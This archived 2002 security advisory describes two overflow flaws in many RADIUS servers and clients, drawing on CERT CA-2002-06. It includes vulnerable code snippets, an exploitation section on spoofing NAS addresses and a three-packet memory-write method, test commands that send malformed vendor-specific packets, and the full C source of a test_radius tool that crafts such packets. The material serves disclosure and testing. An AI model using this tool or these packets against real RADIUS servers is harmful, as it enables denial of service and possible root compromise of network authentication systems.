5th Mar 2002 [SBWID-5166]
COMMAND
RADIUS client/server remote overflow (buffer/heap)
SYSTEMS AFFECTED
Buffer overflow (vuln 1)
* Ascend RADIUS versions 1.16 and prior
* Cistron RADIUS versions 1.6.4 and prior
* FreeRADIUS versions 0.3 and prior
* GnuRADIUS versions 0.95 and prior
* ICRADIUS versions 0.18.1 and prior
* Livingston RADIUS versions 2.1 and earlier
* RADIUS (commonly known as Lucent RADIUS) versions 2.1 and prior
* RADIUSClient versions 0.3.1 and prior
* YARD RADIUS 1.0.19 and prior
* XTRADIUS 1.1-pre1 and prior
Heap overflow (vuln 2)
* Cistron RADIUS versions 1.6.5 and prior
* FreeRADIUS versions 0.3 and prior
* ICRADIUS versions 0.18.1 and prior
* Livingston RADIUS versions 2.1 and earlier
* YARD RADIUS 1.0.19 and prior
* XTRADIUS 1.1-pre1 and prior
PROBLEM
From CERT [http://www.cert.org] advisory [CA-2002-06], and 3APA3A
original discovery [http://security.nnov.ru] (see
/advisories/radius.asp) :
Radius vuln #1 [cert id 589523],
--snipp--
During the message digest calculation, a string containing the shared
secret is concatenated with a packet received without checking the
size of the target buffer. This makes it possible to overflow the buffer
with shared secret data. This can lead to a denial of service against
the server. If the shared secret is known by the attacker, then it may
be possible to use this information to execute arbitrary code with the
privileges of the victim RADIUS server or client, usually root. It should
be noted that gaining knowledge of the shared secret is not a trivial
task.
This bug presents in all RADIUS implementations derived from
Merit/Ascend. Function, where overflow occurs may have different names:
response_match(): Merit
calc_digest()/calc_acctdigest(): Livingston, Cistron and derived
rc_check_reply(): radclient
rad_proxy()/calc_acctreq()/build_packet(): yardradius
Vulnerable piece of code looks like:
memcpy(buffer+len, secret, secretlen);
--snapp--
Radius vuln #2 [cert id 936683],
--snipp--
RADIUS servers and clients fail to validate the vendor-length inside
vendor-specific attributes. The vendor-length shouldn\'t be less than
2. If vendor-length is less than 2, the RADIUS server (or client)
calculates the attribute length as a negative number. The attribute length
is then used in various functions. In most RADIUS servers the function
that performs this calculation is rad_recv() or radrecv(). Some
applications may use the same logic to validate user-specific
attributes and be vulnerable via the same method.
If Vendor-Length is 0 data size will be calculated as negative number.
Later memcpy is called with this number to copy data. In most systems
result of this attack will be DoS against RADIUS (if memcpy()
implementation is not completely flawed).
In most RADIUS servers vulnerable function is rad_recv() or radrecv().
Vulnerable piece of code looks like :
{
ptr += 4;
vendorlen = attrlen - 4;
attribute = *ptr++ | (vendorcode << 16);
attrlen = *ptr++;
attrlen -= 2;
length -= 6;
}
Some implementation has the same bug in processing of USR-specific
attributes (and other non-standard Vendor-Specific attributes). This
bug can be exploited with any type of RADIUS packet.
--snapp--
Exploit :
=======
To exploit this vulnerabilities against RADIUS server attacker should
be able to send RADIUS packets from IP of registered NAS. Since RADIUS
uses UDP as transport layer it\'s easy to spoof NAS\' IP address. Since
both bugs occurs before packet is validated no knowledge of shared
secret required.
To exploit this vulnerability against RADIUS client (NAS) attacker
should guess client\'s UDP port. In many cases this port is predictable.
Attached test_radius tool may help you to reproduce situation (it
doesn\'t spoof IP, so then testing against RADIUS server IP of the host
you running this tool should be registered as valid NAS). test_radius
may also be obtained from :
http://www.security.nnov.ru/files/test_radius.c
For (1) buffer overflowed by shared secret which (in general case) is
not known to attacker. Attacker is not able to control this data, but
he is able to control length of the data. It makes it possible to make
1-byte or 2-bytes buffer overflow. In this case if last symbol(s) of
shared secret is in appropriate range it may be possible to use this
overflow for code execution in few implementation. Sometimes it looks
possible to exploit it blindly, for example this is definition of
buffer in one of RADIUS implementations:
static int i_recv_buffer[RAD_BUFFER_SIZE];
static u_char *recv_buffer = (u_char *)i_recv_buffer;
Receiving function works with recv_buffer.
Theoretically it\'s possible to write to any memory location in 3 steps:
1. We do 1-byte overflow to change last byte of recv_buffer to point
to middle of i_recv_buffer (it will happen only if last byte of shared
secret is higher then lowest byte of i_recv_buffer address).
2. Now we can overwrite recv_buffer with data controlled by us with
second packet.
3. Now data of the third packet will be written to location we
choose.
Of cause exploitation is only possible if all 3 packets are handled in
the same thread (I didn\'t checked the code but probably it\'s true). I
bet probability of successful exploitation is not high, but
may be positive.
to reproduce this problem you may use something like
test_radius RADIUS_SERVER 1 100 MAX_PACKET_SIZE 10 1646 4
where RADIUS_SERVER is ip of your RADIUS host
MAX_PACKET is compiled maximum packet size, you can try different:
1024, 2048, 4096, 8192, etc
(this command will send radius accounting packet of MAX_PACKET_SIZE)
(2) can be tested with
test_radius RADIUS_SERVER 11 20 311 0
(malformed Microsoft MS-CHAP-Challenge packet)
or
test_radius RADIUS_SERVER 1 100 9 0
(malformed CISCO Cisco-AVPair packet)
test_radius may also be used as a stress-testing tool against memory
exhaustion problem described in [2].
test_radius RADIUS_SERVER 1 2 MAX_PACKET_SIZE 100000
-- test_radius.c --
/*
* Copyright (c) 2000-2001 3APA3A
*
* $Id: test_radius.c,v 1.1.2.3 2001/09/28 17:25:05 vlad Exp $
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define AUTH_VECTOR_LEN 16
#define MAX_STRING_LEN 254
#define PW_AUTH_UDP_PORT 1645
#define PW_AUTHENTICATION_REQUEST 1
#define PW_VENDOR_SPECIFIC 26
#define VENDORPEC_USR 429
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned char uint8_t;
/*
* Return an IP address from
* one supplied in standard dot notation.
*/
uint32_t ip_addr(const char *ip_str)
{
struct in_addr in;
if (inet_aton(ip_str, &in) == 0)
return INADDR_NONE;
return in.s_addr;
}
/*
* Return an IP address in from a host
* name or address in dot notation.
*/
uint32_t ip_getaddr(const char *host)
{
struct hostent *hp;
uint32_t a;
if ((a = ip_addr(host)) != INADDR_NONE)
return a;
if ((hp = gethostbyname(host)) == NULL)
return (uint32_t) INADDR_NONE;
/*
* Paranoia from a Bind vulnerability. An attacker
* can manipulate DNS entries to change the length of the
* address. If the length isn\'t 4, something\'s wrong.
*/
if (hp->h_length != sizeof(uint32_t)) {
return (uint32_t) INADDR_NONE;
}
memcpy(&a, hp->h_addr, sizeof(uint32_t));
return a;
}
static int getport(const char *name)
{
struct servent *svp;
svp = getservbyname (name, \"udp\");
if (!svp) {
return 0;
}
return ntohs(svp->s_port);
}
typedef struct radius_packet_t {
uint8_t code;
uint8_t id;
uint16_t length;
uint8_t vector[AUTH_VECTOR_LEN];
uint8_t data[4076];
} radius_packet_t;
char buf[256];
int radius_send(char* radius, int ntimes, int attr, int size, int attlen, int port, int type)
{
int res=0;
int sockfd;
int total_length;
unsigned dst_ipaddr;
struct sockaddr_in saremote;
struct sockaddr_in *sa;
radius_packet_t packet;
int i;
int len;
memset(&packet, 0, sizeof(packet));
if (!type) type = PW_AUTHENTICATION_REQUEST;
if (!port) port = getport(\"radius\");
if (port == 0) port = PW_AUTH_UDP_PORT;
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
return 1;
}
packet.code = type;
packet.id=0;
total_length = 0;
total_length+=(4+AUTH_VECTOR_LEN);
memset(packet.vector, 0, AUTH_VECTOR_LEN);
dst_ipaddr = ip_getaddr(radius);
sa = (struct sockaddr_in *) &saremote;
memset ((char *) sa, \'\\0\', sizeof (saremote));
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = dst_ipaddr;
sa->sin_port = htons(port);
if(ntimes) {
for (len=0, size-=total_length, i=0; size > 0; size-=len, i+=len){
len = (size > attlen)? attlen:size;
if(len < 2) break;
packet.data[i]=attr;
packet.data[i+1]=len;
if(len > 2) memset(packet.data + i + 2, \'A\', len - 2);
}
}
else {
i=0;
packet.data[i++] = PW_VENDOR_SPECIFIC;
packet.data[i++] = attlen;
*((long*)(packet.data + i)) = htonl(size);
i+=4;
if (size == VENDORPEC_USR){
*((short *)(packet.data + i)) = htons(attr);
i+=2;
packet.data[i++] = 1;
}
else {
packet.data[i++] = attr;
packet.data[i++] = 1;
packet.data[i++] = \'A\';
}
if(attlen > 9){
memset(packet.data+i, \'A\', attlen-9);
i=attlen;
}
ntimes = 1;
}
total_length+=i;
packet.length = htons(total_length);
for (i=0; i<ntimes; i++){
res = sendto(sockfd, &packet, total_length, 0,
(struct sockaddr *)&saremote, sizeof(struct sockaddr_in));
if(res != total_length){
fprintf(stderr, \"sendto() failed\\n\");
return 2;
}
packet.id++;
}
return 0;
}
int main(int argc, char*argv[]){
int attr;
int ntries;
int attlen;
int packlen;
int port=0;
int type=0;
if (argc <6 || (attr = atoi(argv[2])) < 1 ||
(attlen = atoi(argv[3])) < 2 || (packlen = atoi(argv[4])) < 20 ||
(ntries = atoi(argv[5])) < 0) {
printf (\"Usage : %s server attribute attribute_length packet_length count [port] [type]\\n\"
\" server - ip address of target server (you must be listed as NAS\\n\"
\" for this server because this code doesn\'t spoof IP)\\n\"
\" attribute - attribute type code, > 0\\n\"
\" attribute_length - length of attribute, must be between 1 and 255\\n\"
\" packet_length - length of packet, >20\\n\"
\" count - number of packets to send. If count = 0 single malformed\\n\"
\" Vendor-Specific is sent with Vendor-Code of packet_length\\n\"
\" and Vendor-Type of attribute\\n\"
\" port - target UDP port\\n\"
\" type - type of RADIUS request. Authentication Request by default\\n\",
argv[0]);
return 1;
}
if (argc >= 7) port = atoi(argv[6]);
if (argc >= 8) type = atoi(argv[7]);
return radius_send( argv[1], ntries, attr, packlen, attlen, port, type);
}
SOLUTION
For a complete list of the various vendors patch see :
http://www.cert.org/advisories/CA-2002-06.html
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH